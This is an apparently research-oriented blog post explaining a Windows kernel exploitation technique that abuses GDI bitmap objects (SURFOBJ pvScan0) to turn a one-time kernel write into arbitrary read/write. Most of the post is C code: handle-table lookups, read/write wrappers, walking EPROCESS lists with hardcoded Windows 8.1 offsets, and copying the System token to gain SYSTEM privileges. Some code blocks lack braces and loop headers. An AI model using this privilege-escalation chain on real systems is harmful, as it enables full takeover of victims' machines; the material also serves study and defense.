Abusing GDI for ring0 exploit primitives

Every once in a while I get to work on something special, something that leaves me with the keys to open new doors.

Not long ago I came across a certain font related vulnerability, it was a 0day being exploited in the wild. The vulnerability was in a driver I was somewhat familiar with [1] ATFMD.SYS. But what caught my eye this time was how the exploit was getting System privileges in a very elegant and clean way. The mechanics of this technique involve patching the kernel structure representing a bitmap (SURFOBJ), turning it into a powerful arbitrary read/write primitive. Alex Ionescu touched on the subject of Win32k shared memory regions in his excellent 2013 talk [2]. But he didn't mention this one, in fact the only previous mention of this technique I could find was by Keen Team in June 2015 [5]. For simplicity, every data structure and offset discussed is known to be valid on Windows 8.1 x64.

The theory:

Let's focus on GdiSharedHandleTable, the user mapped portion of Win32k!gpentHmgr. It's an array of structures, one for every GDI object available to the process. A pointer can be located at PEB.GdiSharedHandleTable:



GdiSharedHandleTable use the following structure: (these structures are 64bit interpretations of the ones previously documented by Feng Yuan[3] and ReactOS[4])

typedef struct {
  PVOID64 pKernelAddress; // 0x00
  USHORT wProcessId; // 0x08
  USHORT wCount; // 0x0a
  USHORT wUpper; // 0x0c
  USHORT wType; // 0x0e
  PVOID64 pUserAddress; // 0x10
} GDICELL64; // sizeof = 0x18

By having a GDI handle, we can know the address of its entry on the table like this:

addr = PEB.GdiSharedHandleTable + (handle & 0xffff) * sizeof(GDICELL64)

pKernelAddress points to the entry's BASEOBJECT header[3][4] which is followed by a specific structure according to its wType.

typedef struct {
  ULONG64 hHmgr;
  ULONG32 ulShareCount;
  WORD cExclusiveLock;
  WORD BaseFlags;
  ULONG64 Tid;
} BASEOBJECT64; // sizeof = 0x18

typedef struct {
  BASEOBJECT64 BaseObject; // 0x00
  SURFOBJ64 SurfObj; // 0x18

For a bitmap, the specific structure that follows looks like this[3][4]:

typedef struct {
  ULONG64 dhsurf; // 0x00
  ULONG64 hsurf; // 0x08
  ULONG64 dhpdev; // 0x10
  ULONG64 hdev; // 0x18
  SIZEL sizlBitmap; // 0x20
  ULONG64 cjBits; // 0x28
  ULONG64 pvBits; // 0x30
  ULONG64 pvScan0; // 0x38
  ULONG32 lDelta; // 0x40
  ULONG32 iUniq; // 0x44
  ULONG32 iBitmapFormat; // 0x48
  USHORT iType; // 0x4C
  USHORT fjBitmap; // 0x4E
} SURFOBJ64; // sizeof = 0x50

For 32bit BMF_TOPDOWN bitmaps all we care about is pvScan0, a pointer to pixel data (start of 1st scanline), and what user mode reachable GDI functions like GetBitmapBits and SetBitmapBits ultimately operate on. Note that although we cannot access those structure members from user mode code, nothing stops us from calculating their address. This means we can leverage a number of ring0 vulnerabilities and turn them into pretty reliable exploits, completely bypassing current windows kernel protection mechanisms.


Let's say, for example, you have a ring0 write-what-where that can only be triggered once. Here's what you can do:

  • Create 2 bitmaps (Manager/Worker)
  • Use handles to lookup GDICELL64, compute pvScan0 address (for both bitmaps)
  • Use vulnerability to write the Worker pvScan0 offset address as Manager's pvScan0 value
  • Use SetBitmapBits on Manager to select address
  • Use GetBitmapBits/SetBitmapBits on Worker to read/write previously set address
manager and worker bitmap

// create 2 bitmaps
hManager = CreateBitmap(...);
hWorker = CreateBitmap(...);
// get kernel address of SURFOBJ64.pvScan0 for hManager
ManagerCell = *((GDICELL64 *)(PEB.GdiSharedHandleTable + LOWORD(hManager) * 0x18));
pManagerpvScan0 = ManagerCell.pKernelAddress + 0x50;
// get kernel address of SURFOBJ64.pvScan0 for hWorker
WorkerCell = *((GDICELL64 *)(PEB.GdiSharedHandleTable + LOWORD(hWorker) * 0x18));
pWorkerpvScan0 = WorkerCell.pKernelAddress +0x50;
// trigger your vulnerability here
// use it to write pWorkerpvScan0 at pManagerpvScan0
// now we can operate on hManager to set an address to read/write from
// think of it as setting an address register
ULONG64 addr = 0xdeadbeef;
SetBitmapBits(hManager, sizeof(addr), &addr);
// then we can do the actual abitrary read/write by operating on hWorker like this
SetBitmapBits(hWorker, len, writebuffer);
GetBitmapBits(hWorker, len, readbuffer);

Now we've turned that write-what-where-once to arbitrary read/write of any virtual address, and we can use it as many times as needed. We can use this to fix corrupted pool chunks, steal process tokens, and a bunch of other fun stuff!

In practice:

Time to wrap this functionality into some usable code:

HBITMAP hManager;
HBITMAP hWorker;

void SetupBitmaps()
  BYTE buf[0x64*0x64*4];
  hManager = CreateBitmap(0x64, 0x64, 1, 32, &buf);
  hWorker = CreateBitmap(0x64, 0x64, 1, 32, &buf);

ULONG64 GetpvScan0Offset(HBITMAP handle)
  GDICELL64 cell = *((GDICELL64 *)(PEB.GdiSharedHandleTable + LOWORD(handle) * sizeof(GDICELL64)));
  return cell.pKernelAddress + sizeof(BASEOBJECT64) + 0x38;
void SetAddress(ULONG64 addr)
  ULONG64 writebuf = addr;
  SetBitmapBits(hManager, sizeof(writebuf), &writebuf);
LONG WriteVirtual(ULONG64 dest, BYTE *src, DWORD len)
  return SetBitmapBits(hWorker, len, src);
LONG ReadVirtual(ULONG64 src, BYTE *dest, DWORD len)
  return GetBitmapBits(hWorker, len, dest);

Let's say we want to steal the System process Token using all of this. We would need to:

  • Setup bitmaps
  • Trigger vulnerability as described
  • Get EPROCESS of the System Process (method shown requires getting base address of ntoskrnl.exe)
  • Get EPROCESS of our own process (requires walking the System's EPROCESS ActiveProcessLinks list)
  • Read Token from System's EPROCESS
  • Write Token to our own EPROCESS

Here's some code to help us do exactly that:

// Get base of ntoskrnl.exe
ULONG64 GetNTOsBase()
  ULONG64 Bases[0x1000];
  DWORD needed=0;
  ULONG64 krnlbase = 0;
  if(EnumDeviceDrivers((LPVOID *)&Bases, sizeof(Bases), &needed)) {
    krnlbase = Bases[0];
  return krnlbase;

// Get EPROCESS for System process
ULONG64 PsInitialSystemProcess()
  // load ntoskrnl.exe
  ULONG64 ntos = (ULONG64)LoadLibrary("ntoskrnl.exe");
  // get address of exported PsInitialSystemProcess variable
  ULONG64 addr = (ULONG64)GetProcAddress((HMODULE)ntos, "PsInitialSystemProcess");
  ULONG64 res = 0;
  ULONG64 ntOsBase = GetNTOsBase();
  // subtract addr from ntos to get PsInitialSystemProcess offset from base
  if(ntOsBase) {
    ReadVirtual(addr-ntos + ntOsBase, (BYTE *)&res, sizeof(ULONG64));
  return res;

// Get EPROCESS for current process
ULONG64 PsGetCurrentProcess()
  ULONG64 pEPROCESS = PsInitialSystemProcess();// get System EPROCESS

  // walk ActiveProcessLinks until we find our Pid
  LIST_ENTRY ActiveProcessLinks;
  ReadVirtual(pEPROCESS + gConfig.UniqueProcessIdOffset + sizeof(ULONG64), (BYTE *)&ActiveProcessLinks, sizeof(LIST_ENTRY));

  ULONG64 res = 0;

    ULONG64 UniqueProcessId = 0;

    // adjust EPROCESS pointer for next entry
    pEPROCESS = (ULONG64)(ActiveProcessLinks.Flink) - gConfig.UniqueProcessIdOffset - sizeof(ULONG64);
    // get pid
    ReadVirtual(pEPROCESS + gConfig.UniqueProcessIdOffset, (BYTE *)&UniqueProcessId, sizeof(ULONG64));
    // is this our pid?
    if(GetCurrentProcessId() == UniqueProcessId) {
      res = pEPROCESS;
    // get next entry
    ReadVirtual(pEPROCESS + gConfig.UniqueProcessIdOffset + sizeof(ULONG64), (BYTE *)&ActiveProcessLinks, sizeof(LIST_ENTRY));
    // if next same as last, we reached the end
    if(pEPROCESS == (ULONG64)(ActiveProcessLinks.Flink)- gConfig.UniqueProcessIdOffset - sizeof(ULONG64))
  return res;

gConfig requires some explaining. Some Undocumented structures tend to change from one Windows version to another. EPROCESS is one of them, and that means offsets to its members also change quite a bit between windows versions. Since we need to get UniqueProcessId, ActiveProcessLinks and Token from EPROCESS, we need to find a way to know the offsets to correctly access their data.



To simplify this demonstration I've chosen to have a structure filled with those offsets pre-set for different Windows versions.

typedef struct
  DWORD UniqueProcessIdOffset;
  DWORD TokenOffset;
} VersionSpecificConfig;

Note we don't actually store ActiveProcessLinks offset, since it's the same as the offset for UniqueProcessId + 8. So, for Windows 8.1 x64 I would pre-set gConfig like this:

VersionSpecificConfig gConfig = {0x2e0, 0x348};

Ok, now let's steal that Token, shall we?

// get System EPROCESS
ULONG64 SystemEPROCESS = PsInitialSystemProcess();
ULONG64 CurrentEPROCESS = PsGetCurrentProcess();
ULONG64 SystemToken = 0;
// read token from system process
ReadVirtual(SystemEPROCESS + gConfig.TokenOffset, (BYTE *)&SystemToken, sizeof(ULONG64));
// write token to current process
WriteVirtual(CurrentEPROCESS + gConfig.TokenOffset, (BYTE *)&SystemToken, sizeof(ULONG64));
// Done and done. We're System :)

Tools of the trade:

While researching GDI structures I found I lacked an appropriate tool to make sense of it all, especially when I needed to spray GDI objects all over the place. I knew about gdikdx.dll, but that was last seen 10+ years ago. And nothing replacing it to my knowledge works on x64. So I crafted something that turned out to be usable for me and might be usable for others.


This is a WinDbg/Kd extension to dump information about the GDI handle table and its referenced kernel structures.



Is a stand-alone application that loads binary dumps made with GDIObjDump and shows a graphical representation of the GDI table. It allows you to sort and filter the GDI entries in a bunch of ways, and click individual cells to view the contents of their kernel structure.